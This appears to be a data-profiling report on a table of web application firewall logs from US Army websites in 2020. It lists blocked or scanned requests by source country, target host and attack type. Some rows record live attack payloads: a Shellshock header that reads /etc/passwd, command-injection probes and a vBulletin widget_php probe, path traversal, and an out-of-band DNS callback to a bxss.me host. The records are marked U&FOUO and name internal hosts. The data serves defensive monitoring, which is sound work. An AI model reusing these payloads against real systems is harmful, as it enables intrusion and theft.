	Id	Timestamp	Data Type	Visibility	ACTION_PROXYSG	ASN_SRC	BYTES_INPUT	BYTES_OUTPUT	BYTES_RECEIVED_RS	COCOM_SERVER	COCOM_SRC	CONTENTTYPE_HTTPHEADER	COUNTRY_SERVER	COUNTRY_SRC	DATETIME_LOGSTART	DATETIME_RECORD	DETAIL_MONITOR	DETAIL_SCAN	FILENAME_INGEST	HOSTNAME_DST	HOSTNAME_DST_LCASE	HOSTNAME_DST_REVERSE	HTTPMETHOD_DST	HTTPSTATUSCODE	IPBRANCHCATEGORY_SERVER	IPBRANCHCATEGORY_SRC	IP_DST_EFFECTIVE	IP_DST_FORWARDED	IP_SERVER	IP_SRC	LATENCY	LATITUDE_SERVER	LATITUDE_SRC	LOCAL_TIMESTAMP	LONGITUDE_SERVER	LONGITUDE_SRC	MILLISECONDS_TIMETAKEN	ORGANIZATION_OWNER_SERVER	OUTBOUNDINTERFACE_DEVICE	OUTCOME_POLICYVERDICT_BCSGOS	PORT_DST	PRODUCTNAME	REMARK_PROXSYSG	SCORE_BLUECOATWAF	SITE_COLLECTION	TYPE_ATTACK	URI_EXTENSION	URI_PATH	URI_QUERY	URI_SCHEME	URL_REFERRER	USERAGENT	UUID_BLUECOATTRANS	VERSION_ELFFLOGTYPE
0	256279062ec224a8f2a86560ebccd20b	1598669026000	rev-proxy-c	U&FOUO	TCP_POLICY_REDIRECT	7545.0	246	2948	0	USNORTHCOM	USINDOPACOM	NaN	US	AU	2020-08-29T02:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.29.03.35.09.gz	143.84.8.25	143.84.8.25	NaN	GET	301	Army	Non-Army	106.69.124.142	NaN	143.84.8.2	106.69.124.142	NaN	31.567824	-33.8884	2020-08-29T12:43:46+10:00[Australia/Sydney]	-110.376817	151.2118	5	HQ, 7TH SIGNAL COMMAND	143.84.8.25	policy_redirect	80	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	php	/mysql/sqlmanager/index.php	?lang=en	http	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36	67b1b39f24a80d5d-00000000a22abfc1-000000005f49c0e2	1.0
1	338ab21151bc2fcfe2fefbbf1ecf41fc	1598723111000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	325	1514	1522	USNORTHCOM	USEUCOM	text/html	US	GB	2020-08-29T17:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"query_arg","host":"linux","version":"3","data":"1;echo \"bm9uZXhpc3RlbnQ=\" \| base64 -d"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.29.18.35.10.gz	www.jmc.army.mil	www.jmc.army.mil	mil.army.jmc.www	GET	404	Army	Non-Army	161.35.43.253	NaN	143.84.8.2	161.35.43.253	19.0	31.567824	51.5132	2020-08-29T18:45:11+01:00[Europe/London]	-110.376817	-0.0961	276	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	php	/linuxki/experimental/vis/kivis.php	?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d	https	NaN	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)	67b1b39f24a80d5d-00000000a235823c-000000005f4a9426	1.0
2	87d60f96741ac85d957580e4bed2c165	1597059619000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	175	1471	1388	USNORTHCOM	USINDOPACOM	text/html	US	IN	2020-08-10T11:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"{ :;}; echo $(<\/etc\/passwd)"},{"eng":"analytics_filter","part":"header","rule":["AF-1006-1","AF-1006-9","AF-1006-32"],"data":"{ :;}; echo $(<\/etc\/passwd)"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.10.12.35.10.gz	jpeocbrnd.army.mil	jpeocbrnd.army.mil	mil.army.jpeocbrnd	GET	404	Army	Non-Army	167.71.234.85	NaN	143.84.8.2	167.71.234.85	4.0	31.567824	12.9719	2020-08-10T17:10:19+05:30[Asia/Kolkata]	-110.376817	77.5937	998	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	NaN	/cgi-bin/status	NaN	https	NaN	{ :;}; echo $(</etc/passwd)	67b1b39f24a80d5d-00000000a011edea-000000005f313222	1.0
3	1001763c1beb9e13e01c07fa635a8bea	1597005767000	rev-proxy-c	U&FOUO	TCP_POLICY_REDIRECT	14061.0	262	2858	0	USNORTHCOM	USINDOPACOM	NaN	US	IN	2020-08-09T20:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' \| base64 -d; exit;\"}\n\n"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.09.21.35.10.gz	jacks.jpeocbd.army.mil	jacks.jpeocbd.army.mil	mil.army.jpeocbd.jacks	POST	301	Army	Non-Army	167.71.234.85	NaN	143.84.8.2	167.71.234.85	NaN	31.567824	12.9719	2020-08-10T02:12:47+05:30[Asia/Kolkata]	-110.376817	77.5937	26	HQ, 7TH SIGNAL COMMAND	NaN	policy_redirect	80	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	NaN	/	NaN	http	NaN	Go-http-client/1.1	67b1b39f24a80d5d-000000009fff679d-000000005f305fc7	1.0
4	a15d5b1efe7d825560c9fa4411643ebe	1597005553000	rev-proxy-c	U&FOUO	TCP_POLICY_REDIRECT	14061.0	228	2877	0	USNORTHCOM	USINDOPACOM	NaN	US	IN	2020-08-09T20:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"passwd"},{"eng":"analytics_filter","part":"path","rule":["AF-1003-16","AF-1003-36","AF-1003-41"],"data":"\/assets\/file:\/\/\/etc\/passwd"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.09.21.35.10.gz	ako.first.army.mil	ako.first.army.mil	mil.army.first.ako	GET	302	Army	Non-Army	167.71.234.85	NaN	143.84.8.2	167.71.234.85	NaN	31.567824	12.9719	2020-08-10T02:09:13+05:30[Asia/Kolkata]	-110.376817	77.5937	620	HQ, 7TH SIGNAL COMMAND	NaN	policy_redirect	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection;Local File Inclusion	NaN	/assets/file:%2f%2f/etc/passwd	NaN	https	NaN	Nuclei - Open-source project (github.com/projectdiscovery/nuclei)	67b1b39f24a80d5d-000000009fff6387-000000005f305ef1	1.0
5	ceb9d3a1832c3c8d26696e0b417d8dde	1596989108000	rev-proxy-c	U&FOUO	TCP_NC_MISS	15169.0	279	5906	5838	USNORTHCOM	USNORTHCOM	text/html;%20charset=utf-8	US	US	2020-08-09T15:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"bzip2"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.09.16.35.10.gz	www.jmc.army.mil	www.jmc.army.mil	mil.army.jmc.www	GET	200	Army	Non-Army	35.245.2.190	NaN	143.84.8.2	35.245.2.190	24.0	31.567824	37.4043	2020-08-09T09:05:08-07:00[America/Los_Angeles]	-110.376817	-122.0748	132	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	aspx	/Leadership.aspx	?id=ExeDirAmmo	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0	67b1b39f24a80d5d-000000009ff715af-000000005f301eb4	1.0
6	4bfe94ceeba122bc50358a4f5dc61866	1599124692000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	157	1438	1401	USNORTHCOM	USNORTHCOM	text/html	US	CA	2020-09-03T08:35:11Z	2020-07-17T23:24:13Z	[{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..logs"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.03.09.35.10.gz	143.84.8.15	143.84.8.15	NaN	GET	404	Army	Non-Army	167.99.188.179	NaN	143.84.8.2	167.99.188.179	220.0	31.567824	43.6547	2020-09-03T05:18:12-04:00[America/Toronto]	-110.376817	-79.3623	349	HQ, 7TH SIGNAL COMMAND	143.84.8.15	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	0	ROCK	Command Injection	NaN	/%2e%2elogs/	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	67b1b39f24a80d5d-00000000a2cd25e3-000000005f50b4d4	1.0
7	58a32584cc90d4f4a6a37bae85de3937	1599098143000	rev-proxy-c	U&FOUO	TCP_NC_MISS	577.0	161	2920	0	USNORTHCOM	USNORTHCOM	NaN	US	CA	2020-09-03T01:35:11Z	2020-07-17T23:24:13Z	[{"detect":"multiple_encoding","part":"path","normalization":"url_decode","data":"..tmp"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..tmp"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.03.02.35.10.gz	143.84.8.115	143.84.8.115	NaN	GET	400	Army	Non-Army	70.27.174.205	NaN	143.84.8.2	70.27.174.205	NaN	31.567824	43.8841	2020-09-02T21:55:43-04:00[America/Toronto]	-110.376817	-79.0607	133	HQ, 7TH SIGNAL COMMAND	143.84.8.115	invalid_request	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Multiple Encoding;Command Injection	NaN	/%252e%252etmp/	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	67b1b39f24a80d5d-00000000a2c4f663-000000005f504d1f	1.0
8	5f3d44092c11e6667943126ff9f98f8e	1599132705000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	158	2917	0	USNORTHCOM	USNORTHCOM	NaN	US	CA	2020-09-03T10:35:11Z	2020-07-17T23:24:13Z	[{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..mails"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.03.11.35.11.gz	143.84.8.72	143.84.8.72	NaN	GET	400	Army	Non-Army	167.99.188.179	NaN	143.84.8.2	167.99.188.179	NaN	31.567824	43.6547	2020-09-03T07:31:45-04:00[America/Toronto]	-110.376817	-79.3623	230	HQ, 7TH SIGNAL COMMAND	143.84.8.72	invalid_request	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	0	ROCK	Command Injection	NaN	/%2e%2emails/	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	67b1b39f24a80d5d-00000000a2ce8309-000000005f50d421	1.0
9	6e3bd1f733e1f0864cde0dfbb443785c	1599096012000	rev-proxy-c	U&FOUO	TCP_DENIED	577.0	160	2828	0	USNORTHCOM	USNORTHCOM	NaN	US	CA	2020-09-03T00:35:11Z	2020-07-17T23:24:13Z	[{"detect":"multiple_encoding","part":"path","normalization":"url_decode","data":"..sql"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..sql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.03.01.35.09.gz	143.84.8.31	143.84.8.31	NaN	GET	403	Army	Non-Army	70.27.174.205	NaN	143.84.8.2	70.27.174.205	NaN	31.567824	43.8841	2020-09-02T21:20:12-04:00[America/Toronto]	-110.376817	-79.0607	148	HQ, 7TH SIGNAL COMMAND	143.84.8.31	policy_denied	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Multiple Encoding;Command Injection	NaN	/%252e%252esql/	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	67b1b39f24a80d5d-00000000a2c4c822-000000005f5044cc	1.0

Last rows

	Id	Timestamp	Data Type	Visibility	ACTION_PROXYSG	ASN_SRC	BYTES_INPUT	BYTES_OUTPUT	BYTES_RECEIVED_RS	COCOM_SERVER	COCOM_SRC	CONTENTTYPE_HTTPHEADER	COUNTRY_SERVER	COUNTRY_SRC	DATETIME_LOGSTART	DATETIME_RECORD	DETAIL_MONITOR	DETAIL_SCAN	FILENAME_INGEST	HOSTNAME_DST	HOSTNAME_DST_LCASE	HOSTNAME_DST_REVERSE	HTTPMETHOD_DST	HTTPSTATUSCODE	IPBRANCHCATEGORY_SERVER	IPBRANCHCATEGORY_SRC	IP_DST_EFFECTIVE	IP_DST_FORWARDED	IP_SERVER	IP_SRC	LATENCY	LATITUDE_SERVER	LATITUDE_SRC	LOCAL_TIMESTAMP	LONGITUDE_SERVER	LONGITUDE_SRC	MILLISECONDS_TIMETAKEN	ORGANIZATION_OWNER_SERVER	OUTBOUNDINTERFACE_DEVICE	OUTCOME_POLICYVERDICT_BCSGOS	PORT_DST	PRODUCTNAME	REMARK_PROXSYSG	SCORE_BLUECOATWAF	SITE_COLLECTION	TYPE_ATTACK	URI_EXTENSION	URI_PATH	URI_QUERY	URI_SCHEME	URL_REFERRER	USERAGENT	UUID_BLUECOATTRANS	VERSION_ELFFLOGTYPE
44343	b8dbdd2c2350070193a421624e6660fd	1599324201000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	5441	1553	1580	USNORTHCOM	USINDOPACOM	text/html	US	IN	2020-09-05T16:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"windows","version":"3","data":"systeminfo"},{"eng":"analytics_filter","part":"post_arg_name","rule":["AF-1001-49","AF-1001-49","AF-1001-70","AF-1001-70"],"data":"cmd"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.05.17.35.09.gz	jacks.jpeocbd.army.mil	jacks.jpeocbd.army.mil	mil.army.jpeocbd.jacks	POST	404	Army	Non-Army	139.59.78.47	NaN	143.84.8.2	139.59.78.47	2.0	31.567824	12.9721	2020-09-05T22:13:21+05:30[Asia/Kolkata]	-110.376817	77.5933	606	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection;SQL Injection	NaN	/api/jsonws/invoke	NaN	https	https://jacks.jpeocbd.army.mil/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	67b1b39f24a80d5d-00000000a30d8968-000000005f53c028	1.0
44344	fc00cb9152372b1eb2fd93e53aee22f3	1599562721000	rev-proxy-c	U&FOUO	TCP_DENIED	14061.0	93	2812	0	USNORTHCOM	USEUCOM	NaN	US	DE	2020-09-08T10:35:10Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"mysql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.08.11.35.09.gz	mysql	mysql	mysql	GET	403	Army	Non-Army	68.183.70.192	NaN	143.84.8.2	68.183.70.192	NaN	31.567824	50.1188	2020-09-08T12:58:41+02:00[Europe/Berlin]	-110.376817	8.6843	1	HQ, 7TH SIGNAL COMMAND	NaN	policy_denied	80	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	NaN	/	NaN	http	NaN	Fuzz Faster U Fool v1.1.0	67b1b39f24a80d5d-00000000a34521d8-000000005f5763e1	1.0
44345	3a03611eb881c7940c46aa06eed0c03c	1597745957000	rev-proxy-c	U&FOUO	TCP_POLICY_REDIRECT	44454.0	235	2904	0	USNORTHCOM	USEUCOM	NaN	US	PL	2020-08-18T09:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.18.10.35.09.gz	143.84.8.25	143.84.8.25	NaN	GET	301	Army	Non-Army	178.216.94.26	NaN	143.84.8.2	178.216.94.26	NaN	31.567824	50.8454	2020-08-18T12:19:17+02:00[Europe/Warsaw]	-110.376817	19.1015	6	HQ, 7TH SIGNAL COMMAND	143.84.8.25	policy_redirect	80	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	php	/mysql/index.php	?lang=en	http	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36	67b1b39f24a80d5d-00000000a095eac5-000000005f3bab25	1.0
44346	7fa742ca169461c1f0ab8c37739671d2	1597761189000	rev-proxy-c	U&FOUO	TCP_POLICY_REDIRECT	14061.0	305	2834	0	USNORTHCOM	USEUCOM	NaN	US	GB	2020-08-18T13:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' \| base64 -d; exit;\"}\n\n"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.18.14.35.10.gz	ako.first.army.mil	ako.first.army.mil	mil.army.first.ako	POST	302	Army	Non-Army	161.35.168.220	NaN	143.84.8.2	161.35.168.220	NaN	31.567824	51.5132	2020-08-18T15:33:09+01:00[Europe/London]	-110.376817	-0.0961	261	HQ, 7TH SIGNAL COMMAND	NaN	policy_redirect	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	NaN	/	NaN	https	NaN	Nuclei - Open-source project (github.com/projectdiscovery/nuclei)	67b1b39f24a80d5d-00000000a099f1b5-000000005f3be6a5	1.0
44347	e25a8f24d4ab4091d7811811370a950e	1597742808000	rev-proxy-c	U&FOUO	TCP_NC_MISS	15169.0	326	1546	1522	USNORTHCOM	USINDOPACOM	text/html	US	TW	2020-08-18T08:35:12Z	2020-07-17T23:24:13Z	[{"eng":"blacklist","part":"path","rule":["BL-2000-3"],"data":"\/Scripts\/..\/Scripts.dump"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/Scripts\/..\/Scripts.dump"},{"eng":"blacklist","part":"path","rule":["BL-3206-0"],"cve":["CVE-2001-0507","CVE-2001-0333"],"data":"\/Scripts\/..\/Scripts.dump"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.18.09.35.10.gz	www.tooele.army.mil	www.tooele.army.mil	mil.army.tooele.www	GET	404	Army	Non-Army	35.201.230.163	NaN	143.84.8.2	35.201.230.163	3.0	31.567824	25.0478	2020-08-18T17:26:48+08:00[Asia/Taipei]	-110.376817	121.5318	5	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	0	ROCK	Directory Traversal;Command Injection	dump	/Scripts/../Scripts.dump	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36	67b1b39f24a80d5d-00000000a0957405-000000005f3b9ed8	1.0
44348	ed50a14ab5b7de4d9432cf56a661b059	1597742818000	rev-proxy-c	U&FOUO	TCP_NC_MISS	15169.0	640	2664	2640	USNORTHCOM	USINDOPACOM	text/html;%20charset=utf-8	US	TW	2020-08-18T08:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"&(nslookup hitddadtudhybc3ac5.bxss.me\|\|perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&'\\\"`0&(nslookup hitddadtudhybc3ac5.bxss.me\|\|perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&`'"},{"eng":"injection.command","part":"header","host":"windows","version":"3","data":"&(nslookup hitddadtudhybc3ac5.bxss.me\|\|perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&'\\\"`0&(nslookup hitddadtudhybc3ac5.bxss.me\|\|perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&`'"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.18.09.35.10.gz	www.tooele.army.mil	www.tooele.army.mil	mil.army.tooele.www	GET	200	Army	Non-Army	35.201.230.163	&(nslookup%20hitddadtudhybc3ac5.bxss.me\|\|perl%20-e%20%22gethostbyname('hitddadtudhybc3ac5.bxss.me')%22)&'\%22`0&(nslookup%20hitddadtudhybc3ac5.bxss.me\|\|perl%20-e%20%22gethostbyname('hitddadtudhybc3ac5.bxss.me')%22)&`'	143.84.8.2	35.201.230.163	3.0	31.567824	25.0478	2020-08-18T17:26:58+08:00[Asia/Taipei]	-110.376817	121.5318	6	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	20	ROCK	Command Injection	aspx	/NewsLetters.aspx	NaN	https	https://www.google.com/search?hl=en&q=testing	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36	67b1b39f24a80d5d-00000000a095766e-000000005f3b9ee2	1.0
44349	f499aecbcb291c05f62ebd04e21710ab	1597742717000	rev-proxy-c	U&FOUO	TCP_MISS	15169.0	337	1554	1522	USNORTHCOM	USINDOPACOM	text/html	US	TW	2020-08-18T08:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.18.09.35.10.gz	www.tooele.army.mil	www.tooele.army.mil	mil.army.tooele.www	GET	404	Army	Non-Army	35.201.230.163	NaN	143.84.8.2	35.201.230.163	3.0	31.567824	25.0478	2020-08-18T17:25:17+08:00[Asia/Taipei]	-110.376817	121.5318	5	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	NaN	/rv4_js/mysql	NaN	https	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36	67b1b39f24a80d5d-00000000a0956219-000000005f3b9e7d	1.0
44350	9d5cff322b56415b674179c8faf17cb4	1599022941000	rev-proxy-c	U&FOUO	TCP_NC_MISS	14061.0	152	493	451	USNORTHCOM	USEUCOM	text/html;%20charset=utf-8	US	GB	2020-09-02T04:35:12Z	2020-07-17T23:24:13Z	[{"eng":"blacklist","part":"path","rule":["BL-3048-0"],"cve":["CVE-1999-0386"],"data":"\/...4.2.1...json"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/...4.2.1...json"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.09.02.05.35.10.gz	jpeocbrnd.osd.mil	jpeocbrnd.osd.mil	mil.osd.jpeocbrnd	GET	302	Army	Non-Army	167.99.84.113	NaN	143.84.8.2	167.99.84.113	2.0	31.567824	51.5177	2020-09-02T06:02:21+01:00[Europe/London]	-110.376817	-0.6215	303	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	0	ROCK	File Disclosure ;Command Injection	json	/...4.2.1...json	NaN	https	NaN	curl/7.30.0	67b1b39f24a80d5d-00000000a2a05f85-000000005f4f275d	1.0
44351	272ebe84048a84ff7c404915580864d0	1596847843000	rev-proxy-c	U&FOUO	TCP_DENIED	24589.0	246	2854	0	USNORTHCOM	USEUCOM	NaN	US	LV	2020-08-08T00:35:12Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.08.01.35.09.gz	143.84.8.62	143.84.8.62	NaN	GET	403	Army	Non-Army	176.106.162.154	NaN	143.84.8.2	176.106.162.154	NaN	31.567824	56.9496	2020-08-08T03:50:43+03:00[Europe/Riga]	-110.376817	24.0978	7	HQ, 7TH SIGNAL COMMAND	143.84.8.62	policy_denied	80	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	php	/mysql/sqlmanager/index.php	?lang=en	http	NaN	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36	67b1b39f24a80d5d-000000009fbc10d8-000000005f2df6e3	1.0
44352	52a03863188d7ab26a05dc4df13aaaac	1596908348000	rev-proxy-c	U&FOUO	TCP_NC_MISS	13124.0	572	8510	8422	USNORTHCOM	USEUCOM	image/png	US	BG	2020-08-08T17:35:11Z	2020-07-17T23:24:13Z	[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"bg;q=0.8"}]	WAF_SCANNED	http_accel_wap_log.ROCK.2020.08.08.18.35.10.gz	www.arsouth.army.mil	www.arsouth.army.mil	mil.army.arsouth.www	GET	200	Army	Non-Army	5.53.207.216	NaN	143.84.8.2	5.53.207.216	68.0	31.567824	42.1513	2020-08-08T20:39:08+03:00[Europe/Sofia]	-110.376817	24.7518	70	HQ, 7TH SIGNAL COMMAND	NaN	NaN	443	SGOS 6.7.4.7	1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	10	ROCK	Command Injection	png	/_catalogs/masterpage/Arsouth/Branding2019/img/Logo2.png	?rev=23	https	https://www.arsouth.army.mil/	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	67b1b39f24a80d5d-000000009fd31174-000000005f2ee33c	1.0

Overview

Variables

Interactions

Correlations

Pearson's r

Spearman's ρ

Kendall's τ

Phik (φk)

Missing values

Sample

First rows

Last rows